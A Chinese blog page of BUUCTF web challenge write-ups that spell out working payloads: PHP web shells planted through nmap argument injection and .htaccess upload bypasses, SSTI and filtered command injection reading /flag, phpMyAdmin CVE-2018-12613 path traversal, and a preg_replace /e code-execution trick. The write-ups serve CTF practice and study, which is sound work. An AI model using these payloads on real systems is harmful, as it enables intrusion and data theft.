其他分享
首页 > 其他分享> > BUUCTF Web 第二页全部Write ups

BUUCTF Web 第二页全部Write ups

作者:互联网

目录

[强网杯 2019]高明的黑客

进入网站,提示:

雁过留声,人过留名,此网站已被黑
我也是很佩服你们公司的开发,特地备份了网站源码到www.tar.gz以供大家观赏

下载www.tar.gz,解压后有3002个php文件,但里面get post的参数都是杂乱的,仔细观察php文件,发现大量的类似这样的成对出现的语句:

$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;

我们可以利用url/?cXjHClMPs=cat /flag,来找到最终答案,可以利用脚本发现可用参数:


todo未完成

[BUUCTF 2018]Online Tool

打开网页,显示源代码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()和escapeshellcmd()

escapeshellarg会在参数两边加入单引号,这样我们的参数就会被解释为字符串,所以我们需要自己在参数里面加入单引号,这样就可以跟escapeshellarg加入的单引号形成引号对,让我们的参数不被解释为字符串,输入url:

todo这里的-oG怎么想到的说明一下。

/?host=' <?php @eval($_POST["password"]);?> -oG shell.php '

页面回显上传的文件的文件夹:

you are in sandbox 5458152bd757cd8fd87bdf0712df1bc4Starting Nmap 7.70 ( https://nmap.org ) at 2021-03-28 03:06 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 2.63 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 2.63 seconds

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://d24500ab-c98b-47f9-9e2b-f8d6bbcc77a8.node3.buuoj.cn/5458152bd757cd8fd87bdf0712df1bc4/shell.php
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST["password"]一致。

连接后查看网站文件,在根目录发现flag。

References

https://blog.csdn.net/qq_26406447/article/details/100711933

https://blog.csdn.net/weixin_44077544/article/details/102835099

https://mayi077.gitee.io/2020/07/30/BUUCTF-2018-Online-Tool/

https://www.anquanke.com/post/id/107336

https://blog.csdn.net/SKI_12/article/details/61651960

[RoarCTF 2019]Easy Java

todo用dirsearch扫描一下

Java Web就应该想到WEB-INF是Java的WEB应用的安全目录。猜测此题是WEB-INF/web.xml泄露。WEB-INF主要包含一下文件或目录:

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

打开网页,发现登陆页面,按F12发现:

<center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center>

点击help链接,网页显示:

java.io.FileNotFoundException:{help.docx}

点击help链接时,用Burp Suite截包:

GET /Download?filename=help.docx HTTP/1.1
Host: 80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn/Login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: JSESSIONID=85BC2CB679CEB4E9E06E4AB50565EEA6
Connection: close

GET修改为POST(这里很难想到):

POST /Download HTTP/1.1
Host: 80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn/Login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: JSESSIONID=85BC2CB679CEB4E9E06E4AB50565EEA6
Connection: close
Content-Length: 18

filename=help.docx

响应:

HTTP/1.1 500 Internal Server Error
Server: openresty
Date: Sun, 28 Mar 2021 03:53:42 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 1585
Connection: close
Content-Disposition: attachment;filename=null
Content-Language: en

<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.NullPointerException
	java.io.FileInputStream.&lt;init&gt;(FileInputStream.java:130)
	java.io.FileInputStream.&lt;init&gt;(FileInputStream.java:93)
	com.wm.ctf.DownloadController.doPost(DownloadController.java:24)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/8.5.24</h3></body></html>

修改请求为:

POST /Download?filename=WEB-INF/web.xml HTTP/1.1
Host: 80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn/Login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: JSESSIONID=85BC2CB679CEB4E9E06E4AB50565EEA6
Connection: close
Content-Length: 0

响应:

HTTP/1.1 200 OK
Server: openresty
Date: Sun, 28 Mar 2021 03:50:14 GMT
Content-Type: application/xml
Content-Length: 1562
Connection: close
Content-Disposition: attachment;filename=WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

修改请求为:

POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class HTTP/1.1
Host: 80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://80a6988f-e2c9-4a88-aa9c-ac8b56ce9059.node3.buuoj.cn/Login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: JSESSIONID=85BC2CB679CEB4E9E06E4AB50565EEA6
Connection: close
Content-Length: 0

网页内容base64解码后得到flag。

References

https://www.jianshu.com/p/cb7cbede3b37

https://www.cnblogs.com/Cl0ud/p/12177085.html

[GXYCTF2019]BabyUpload

打开网页,发现是文件上传类型,想到用.htaccess上传,创建文件.htaccess,写入

AddType application/x-httpd-php .png

然后上传.htaccess

.htaccess另外一个写法
可以在.htaccess 加入php解析规则,把文件名包含1的解析成php
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
或者SetHandler application/x-httpd-php,例如文件1.png, 就会以php执行。

网页显示:

上传类型也太露骨了吧!

说明我们要修改文件类型,上传.htaccess时,用burp Suite拦截:

POST / HTTP/1.1
Host: e187f0b7-22f0-4d7b-9ce5-97394f953367.node3.buuoj.cn
Content-Length: 336
Cache-Control: max-age=0
Origin: http://e187f0b7-22f0-4d7b-9ce5-97394f953367.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1s7I5ajPkRlstANn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e187f0b7-22f0-4d7b-9ce5-97394f953367.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: PHPSESSID=48a1bc67790c6d550409df2da3498f55
Connection: close

------WebKitFormBoundary1s7I5ajPkRlstANn
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: application/octet-stream

AddType application/x-httpd-php .png
------WebKitFormBoundary1s7I5ajPkRlstANn
Content-Disposition: form-data; name="submit"

ä¸Šä¼ 
------WebKitFormBoundary1s7I5ajPkRlstANn--

Content-Type: application/octet-stream修改为Content-Type: image/jpeg,上传后显示上传成功,创建文件htaccess.png,写入

<?php @eval($_POST["password"]);?>

显示上传失败

上传类型也太露骨了吧!

说明文件类型不对,修改Content-Type: image/png修改为Content-Type: image/jpeg,上传后提示:

诶,别蒙我啊,这标志明显还是php啊

修改htaccess.png内容

GIF89a
<script language="php">eval($_POST['shell']);</script>

修改Content-Type: image/png修改为Content-Type: image/jpeg,然后上传,页面回显上传的文件的相对路径:

/var/www/html/upload/6c9e4529d0f1b11a10f97e7bdbedfece/htaccess.png succesfully uploaded!

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://7a5bab3a-9c97-4613-ac15-b875f4590ece.node3.buuoj.cn/upload/45373f6d5ca8e7f31a8b1ab615988658/htaccess.png
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST["password"]一致。

连接后查看网站文件,在根目录发现flag。

References

https://www.cnblogs.com/wangtanzhi/p/12323313.html

[GXYCTF2019]禁止套娃

使用githack下载index.php,在python2环境输入:

python GitHack.py http://15e5a8a8-249b-44d1-93f0-8716f36dd25b.node3.buuoj.cn/.git/

git下载地址:https://github.com/lijiejie/GitHack

自动下载index.php源码:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
a(b(c()));
a();

不允许

a('123');

首先需要得到当前目录下的文件scandir()函数可以扫描当前目录下的文件,例如:

<?php
print_r(scandir('.'));
?>

现在需要用无参数函数构造scandir('.')

/?exp=print_r(localeconv());

网页显示:

Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => [currency_symbol] => [mon_decimal_point] => [mon_thousands_sep] => [positive_sign] => [negative_sign] => [int_frac_digits] => 127 [frac_digits] => 127 [p_cs_precedes] => 127 [p_sep_by_space] => 127 [n_cs_precedes] => 127 [n_sep_by_space] => 127 [p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] => Array ( ) [mon_grouping] => Array ( ) )

我们发现数组第一个就是.。

php手册查询pos()

pos
(PHP 4, PHP 5, PHP 7, PHP 8)
poscurrent() 的别名
说明
此函数是该函数的别名:current()

php手册查询current()

current
(PHP 4, PHP 5, PHP 7, PHP 8)
current— 返回数组中的当前值
说明
current( array | object $array) : mixed
每个数组中都有一个内部的指针指向它"当前的"单元,初始化时会指向该数组中的第一个值。
参数
array要操作的数组。
返回值
current()函数返回当前被内部指针指向的数组单元的值,并不移动指针。如果内部指针指向超出了单元列表的末端,current()将返回false

参见
end()- 将数组的内部指针指向最后一个单元
key()- 从关联数组中取得键名
each()- 返回数组中当前的键/值对并将数组指针向前移动一步
prev()- 将数组的内部指针倒回一位
reset()- 将数组的内部指针指向第一个单元
next()- 将数组中的内部指针向前移动一位

php手册下载地址:

http://cn2.php.net/get/php_manual_zh.chm/from/this/mirror

current(localeconv())永远都是个点,输入url:

/?exp=print_r(scandir(current(localeconv())));

网页显示:

Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

方法一

使用array_reverse()将数组元素颠倒过来,然后用next()函数将指针指向第二个元素,输入url:

/?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));

网页显示flag.php,然后用show_source()输出flag文件。

输入url:

/?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

得到flag。

方法二

array_flip()交换数组的键和值,输入url:

/?exp=var_dump(array_flip(scandir(current(localeconv()))));

这里var_dump()print_r()都可以

网页输出:

array(5) { ["."]=> int(0) [".."]=> int(1) [".git"]=> int(2) ["flag.php"]=> int(3) ["index.php"]=> int(4) }

array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php,输入url:

/?exp=var_dump(array_rand(array_flip(scandir(current(localeconv())))));

输入url:

/?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

多刷新几次,得到flag。

方法三

session_start() 告诉 PHP 使用session,PHP 默认是不主动使用session的。

session_id() 可以获取到当前的session id,而PHPSESSID允许字母和数字出现。

于是我们在Cookie中加入数据 PHPSESSID=flag.php,然后获取到当前 session id

?exp=print_r(session_id(session_start()));

用burpsuite拦截。构造请求:

GET /?exp=print_r(session_id(session_start())); HTTP/1.1
Host: 77965458-4610-428d-a777-71972491d489.node3.buuoj.cn
Cookie: PHPSESSID=flag.php

注意cookie下面空两行,否则无法得到响应,响应:

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 03 Apr 2021 06:45:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Content-Length: 31

flag在哪里呢?<br>flag.php

显示flag,构造请求:

GET /?exp=show_source(session_id(session_start())); HTTP/1.1
Host: 77965458-4610-428d-a777-71972491d489.node3.buuoj.cn
cookie: PHPSESSID=flag.php

得到flag。注意cookie下面空两行,否则无法得到响应。

References

https://www.wh1teze.top/articles/2020/02/08/1581153047695.html

https://www.cnblogs.com/wangtanzhi/p/12260986.html

[BJDCTF2020]The mystery of ip

打开网页,在hint页面按F12发现注释:

<!-- Do you know why i know your ip? -->

打开flag页面,发现我们的ip,我们尝试是否可以控制这个ip,我们猜测它是模板注入,

X-Forwarded-ForSSTI注入,可以控制输入,用burp Suite拦截:

GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:25292
X-forwarded-for: {system("ls")}

注意X-Forwarded-For下面空两行,否则无法得到响应,响应:

Your IP is : bootstrap
css
flag.php
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c

构造请求:

GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:25292
X-forwarded-for: {system("ls /")}

注意X-Forwarded-For下面空两行,否则无法得到响应,响应:

Your IP is : bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
var

发现flag,构造请求:

GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:25292
X-forwarded-for: {system("cat /flag")}

注意X-Forwarded-For下面空两行,否则无法得到响应,得到flag。

References

https://www.cnblogs.com/wangtanzhi/p/12318630.html

[GWCTF 2019]我有一个数据库

用dirsearch扫描数据库,输入:

python dirsearch.py -u http://0cc07639-e850-439b-91da-bc4789d9ed9b.node3.buuoj.cn/ -e * -x 429

扫描发现phpmyadmin/可以访问,输入url:

/phpmyadmin/

输入url:

/phpmyadmin/?target=pdf_pages.php%253f/../../../../../../../../flag

得到flag。CVE-2018-12613显示源码里面执行了一次urldecode,这里要双重url编码,%253f两次解码后是?

或者

/phpmyadmin/?target=db_datadict.php%3f/../../../../../../../../flag

也可以得到flag。

或者

/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag

References

https://mayi077.gitee.io/2020/02/29/GWCTF-2019-我有一个数据库/

https://blog.csdn.net/rfrder/article/details/109684292

https://blog.csdn.net/hclimg/article/details/102783871

https://da4er.top/代码审计-phpmyadmin4-8-1后台文件包含漏洞-CVE-2018-12613.html

[BJDCTF2020]Mark loves cat

dirsearch扫描网站,发现.git泄露,用githack下载,这里可能下载不成功,挂代理和不挂代理都试一下,发现源码:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

输入url:

/?yds=flag

得到flag,我们发送的是GET请求,完整的链接是:

http://a1264355-5edf-4c7c-a6fc-e8f62b8e1b22.node3.buuoj.cn/?yds=flag

进入代码后:

foreach($_POST as $x => $y){
    $$x = $y;
}

没有执行,因为我们没有发送post请求,然后到第二段代码:

foreach($_GET as $x => $y){
    $$x = $$y;
}

提取键值对,将yds赋值给$xflag赋值给$y,所以$$x=$yds$$y=$flag,最后执行完后变为$yds=$flag,紧接着:

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

没有被执行,因为if判断不成立,然后执行:

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

发现满足条件,输出$yds,也就是$flag。最后得到flag,查询php手册:

exit
(PHP 4, PHP 5, PHP 7, PHP 8)
exit — 输出一个消息并且退出当前脚本

exit可以输出内容。

References

https://www.codenong.com/cs105925473/

https://blog.csdn.net/jianpanliu/article/details/107028582

[BJDCTF2020]ZJCTF,不过如此

DATA URI Scheme

data:①[]②[;charset=]③[;]④,⑤

data: 协议名称

[<mime type>] 可选项,数据类型(image/pngtext/plain等)

[;charset=<charset>] 可选项,源文本的字符集编码方式

[;<encoding>] 数据编码方式(默认US-ASCIIBASE64两种)

,<encoded data> 编码后的数据

注意:

References

https://www.cnblogs.com/fsjohnhuang/p/3903688.html

打开网页显示源码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

get传入两个参数textfiletext参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议

References

https://blog.csdn.net/weixin_44622228/article/details/105644054

data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64,输入:

/?text=data://text/plain,I have a dream

或者

/?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

网页提示:

I have a dream

php://filter用于读取源码,php://input用于执行php代码,因为是php文件,我们想看到内容就需要php://filter伪协议,尝试以base64编码读取next.php内容。

输入url:

/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

网页base64解码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

答案是输入url:

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

得到flag。

下面是细节解析,代码从:

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

开始执行,传入的\S* ⇒ ${getFlag()}成为$re=\S*, $str=${getFlag()}。然后调用complex()函数:

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

传入参数后,preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);等价于preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');

查询php手册strtolower()函数:

strtolower
(PHP 4, PHP 5, PHP 7, PHP 8)
strtolower — 将字符串转化为小写

查询php手册preg_replace()函数:

preg_replace
(PHP 4, PHP 5, PHP 7, PHP 8)
preg_replace — 执行一个正则表达式的搜索和替换
说明
preg_replace( mixed $pattern, mixed $replacement, mixed $subject) : mixed
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。
参数
pattern
要搜索的模式。可以使一个字符串或字符串数组。
可以使用PCRE修饰符。正则表达式语句。
replacement
用于替换的字符串或字符串数组。 详情见 https://www.runoob.com/php/php-preg_replace.html
subject
要进行搜索和替换的字符串或字符串数组。

preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');这句话执行过程为先用正则表达式/(\S*)/ei去匹配${getFlag()}。也可以用.*来匹配${getFlag()}整个字符串,但php自身在解析请求的时候,如果参数名字中包含空格.[等字符,会将他们转换成_。所以不能用.*来匹配任意字符,需要用\S*代替,\s在正则表达式中匹配空格制表符换行符等空白字符,\S匹配除空格制表符换行符以外的字符。

References

http://www.lmxspace.com/2018/08/12/一个有趣的preg-replace函数/

/(\S*)/ei去匹配${getFlag()},只有一个匹配结果,匹配结果存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从1开始,最多可存储99个捕获的子表达式。每个缓冲区都可以使用'\n'访问,其中n为一个标识特定缓冲区的一位或两位十进制数。这次匹配只有一个匹配结果,所以缓冲区编号只有1\\1中第一个\是转义字符,表示第二个\是真正的\,不是特殊字符,所以\\1就是\1\1就是访问第一个缓冲区。所以strtolower("\\1")变为strtolower("${getFlag()}")

References

后向引用 https://wiki.jikexueyuan.com/project/regex/back-reference.html

preg_replace/e修正符会将replacement参数,即preg_replace第二个参数,当作php代码,并且以 eval 函数的方式执行,前提是 subject中有pattern的匹配。所以preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');这句话最后一步就是执行strtolower("${getFlag()}")

在PHP中双引号包裹的字符串中可以解析为变量,而单引号则不行。 如果是"getFlag()",整个只是一个字符串,而"${getFlag()}"不一样。

References

可变变量 https://www.php.net/manual/zh/language.variables.variable.php

${getFlag()}中的getFlag()会被当做变量先执行,跳转到getFlag()函数提取GET请求中cmd的值system('cat /flag')eval函数会把'system('cat /flag')'字符串当作命令执行,最后输出flag。查询php手册:

eval
(PHP 4, PHP 5, PHP 7, PHP 8)
eval — 把字符串作为PHP代码执行
说明
eval( string $code) : mixed
把字符串 code 作为PHP代码执行。

References

http://www.lmxspace.com/2018/08/12/一个有趣的preg-replace函数/

https://www.runoob.com/php/php-preg_replace.html

https://regex101.com/

https://xz.aliyun.com/t/2557

[安洵杯 2019]easy_web

进入网页,得到一张图片,结合url,猜想图片名字经过加密后发起GET请求。

img参数值进行解密,解密顺序:base64->base64->hex

555.png

References

CyberChef

所以我们要得到index.php的源码,我们可以反过来加密:

hex->base64->base64,结果为:

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

References

CyberChef

注意加密参数严格按照如上链接加密,否则与网页加密方式不匹配,导致找不到文件。

输入url:

/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

得到base64加密编码,解密后为:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

todo还没有分析源码,要认真看。

构造POST请求:

POST /index.php?cmd=dir%20/ HTTP/1.1
Host: e55e28a0-6ce5-44fc-9386-7275b7e65cba.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 389

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

POST数据ab应该是最后一行,后面不能有换行或空行,否则POST不成功。

响应:

bin   dev  flag  lib	media  opt   root  sbin  sys  usr
boot  etc  home  lib64	mnt    proc  run   srv	 tmp  var

发现flag,构造请求:

POST /index.php?cmd=ca\t%20/flag HTTP/1.1
Host: e55e28a0-6ce5-44fc-9386-7275b7e65cba.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 389

